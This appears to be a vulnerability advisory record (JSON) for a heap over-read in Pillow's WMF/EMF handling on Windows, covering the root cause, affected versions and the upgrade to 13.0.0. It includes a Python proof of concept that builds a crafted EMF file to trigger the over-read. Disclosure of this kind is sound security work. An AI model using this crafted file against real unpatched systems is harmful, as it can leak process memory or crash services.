{"id":"CVE-2026-96644","aliases":["GHSA-9v9v-9qvf-h2hj"],"title":"Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)","summary":"Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)","severity":"high","cvss":7.1,"cwe":["CWE-125"],"vendor":"Pillow","product":"Pillow","ecosystem":"pip","affected":["Pillow < 13.0.0"],"patched":["Pillow 13.0.0"],"published":"2026-10-22","updated":"2026-10-22","sourceUpdated":"2026-10-22T16:03:16Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-9v9v-9qvf-h2hj","references":[{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-9v9v-9qvf-h2hj"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96644"},{"url":"https://github.com/python-pillow/Pillow/pull/10120"},{"url":"https://github.com/python-pillow/Pillow/commit/4cf46bee338304c5c8968fd7f132ba0d40c428b7"},{"url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"},{"url":"https://github.com/advisories/GHSA-9v9v-9qvf-h2hj"}],"tags":["ghsa","pip","cve.org"],"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N","cvssSource":"cna","ingestedAt":"2026-10-21T21:13:32.782Z","slug":"CVE-2026-96644","body":"## Overview\n\n### Summary\nOn Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native `drawwmf` handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.\n\n### Details\nThe EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:\n\n- `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`.\n\nIn the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:\n\n- `src/display.c:793-794` assign the 16-bit fields\n- `src/display.c:800` sizes the allocation from them\n- `src/display.c:827` copies `height * ((width * 3 + 3) & -4)` bytes using the full values\n\nThe whole handler is compiled only on Windows (`#ifdef _WIN32`, `src/display.c:33-841`).\n\n### PoC\n```python\nimport struct\nfrom PIL import Image\n\ndef L(v):\n    return struct.pack(\"<i\", v)\n\n# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the\n# decompression-bomb check, but the width truncates to 16 bits for the allocation while\n# the copy uses 70000.\nemf  = b\"\\x01\\x00\\x00\\x00\" + L(88)          # record type + size\nemf += L(0) + L(0) + L(70000) + L(1)        # rclBounds: x0, y0, x1, y1\nemf += L(0) + L(0) + L(100) + L(100)        # rclFrame (non-zero, used for the dpi calc)\nemf += b\" EMF\"                              # signature at offset 40\nemf += bytes(44)\nopen(\"poc.emf\", \"wb\").write(emf)\n\nim = Image.open(\"poc.emf\")\nprint(\"size:\", im.size, \"pixels:\", im.size[0] * im.size[1])\nim.load()                                   # over-read happens here on a Windows build\n```\n\nOn Linux the first part is observable: the 88-byte file opens, `size` is `(70000, 1)`, and the bomb check passes. The native over-read only exists on Windows because `Image.core.drawwmf` is compiled out elsewhere (on Linux `im.load()` raises `OSError` instead).\n\n### Impact\nCWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.\n\n## Affected packages\n\n- `Pillow < 13.0.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `Pillow 13.0.0`","depth":"twilight","depthScore":39,"depthScoreParts":{"impact":39.1,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}